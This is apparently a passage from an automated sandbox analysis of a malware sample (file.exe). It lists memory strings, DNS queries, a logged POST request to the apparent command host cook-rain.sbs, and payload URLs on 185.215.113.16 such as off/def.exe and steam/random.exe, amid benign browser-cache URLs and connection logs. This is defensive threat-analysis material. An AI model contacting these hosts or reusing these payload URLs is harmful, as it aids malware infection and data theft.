Source: chromecache_94.6.dr, chromecache_84.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_94.6.dr, chromecache_84.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_94.6.dr, chromecache_84.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cook-rain.sbs

Source: file.exe, file.exe, 00000000.00000003.2017702605.0000000000D66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.2017702605.0000000000D66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Er
Source: file.exe, 00000000.00000003.2017702605.0000000000D66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/jr
Source: file.exe, file.exe, 00000000.00000003.2017702605.0000000000D66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.2017702605.0000000000D66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exemX
Source: file.exe, 00000000.00000003.2017702605.0000000000D66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeqX
Source: file.exe, file.exe, 00000000.00000003.2017702605.0000000000D66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.1814353640.00000000054AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1814353640.00000000054AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1814353640.00000000054AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1814353640.00000000054AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1814353640.00000000054AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1814353640.00000000054AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1814353640.00000000054AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.1814353640.00000000054AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1814353640.00000000054AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_94.6.dr, chromecache_84.6.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_94.6.dr, chromecache_84.6.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_94.6.dr, chromecache_84.6.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_94.6.dr, chromecache_84.6.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_102.6.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.1814353640.00000000054AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1814353640.00000000054AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1764215214.00000000054BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1764331781.00000000054A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_94.6.dr, chromecache_84.6.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_94.6.dr, chromecache_84.6.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_102.6.dr, chromecache_103.6.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_94.6.dr, chromecache_84.6.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_94.6.dr, chromecache_84.6.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_102.6.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_102.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_102.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_94.6.dr, chromecache_84.6.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.1817114587.0000000000DC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000003.1764215214.00000000054BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1764331781.00000000054A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1764215214.00000000054BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1764331781.00000000054A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1764215214.00000000054BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1764331781.00000000054A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_94.6.dr, chromecache_84.6.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_94.6.dr, chromecache_84.6.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.1817114587.0000000000DC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000003.1837932016.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788475696.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: file.exe, 00000000.00000003.1788518353.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788475696.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/%
Source: file.exe, 00000000.00000003.1837908059.0000000000DC1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1838507084.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1837932016.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/.
Source: file.exe, 00000000.00000003.1837908059.0000000000DC1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1838507084.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1837932016.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/9
Source: file.exe, 00000000.00000003.1837908059.0000000000DC1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1838507084.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1837932016.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/C
Source: file.exe, file.exe, 00000000.00000003.1837908059.0000000000DC1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2017702605.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1812472132.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788518353.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1838507084.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1837932016.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788475696.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: file.exe, 00000000.00000003.2017702605.0000000000D66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apid
Source: file.exe, 00000000.00000003.1812472132.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apirvice
Source: file.exe, 00000000.00000003.1837908059.0000000000DC1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1838507084.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1837932016.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiu
Source: file.exe, 00000000.00000003.1788518353.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788475696.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apivalue
Source: file.exe, 00000000.00000003.1788518353.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788475696.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/o
Source: file.exe, 00000000.00000003.2017702605.0000000000D66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/tP
Source: file.exe, 00000000.00000003.1764215214.00000000054BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1764331781.00000000054A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1764215214.00000000054BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1764331781.00000000054A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1764215214.00000000054BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1764331781.00000000054A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_102.6.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_102.6.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_102.6.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_102.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_102.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_102.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_102.6.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_94.6.dr, chromecache_84.6.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_102.6.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_94.6.dr, chromecache_84.6.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_94.6.dr, chromecache_84.6.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_102.6.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_102.6.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.1817114587.0000000000DC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_102.6.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_94.6.dr, chromecache_84.6.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_94.6.dr, chromecache_84.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_94.6.dr, chromecache_84.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_94.6.dr, chromecache_84.6.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_94.6.dr, chromecache_84.6.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_84.6.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.1763866433.00000000054EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: file.exe, 00000000.00000003.1816518420.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.1816518420.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.1763950622.00000000054E5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1763866433.00000000054EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000003.1763950622.00000000054C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000003.1763950622.00000000054E5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1763866433.00000000054EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000003.1763950622.00000000054C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: chromecache_94.6.dr, chromecache_84.6.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_94.6.dr, chromecache_84.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_84.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.1764215214.00000000054BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1764331781.00000000054A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1764215214.00000000054BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1764331781.00000000054A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_94.6.dr, chromecache_84.6.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.1816518420.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000003.1816518420.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000003.1816518420.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.1816518420.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1816518420.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
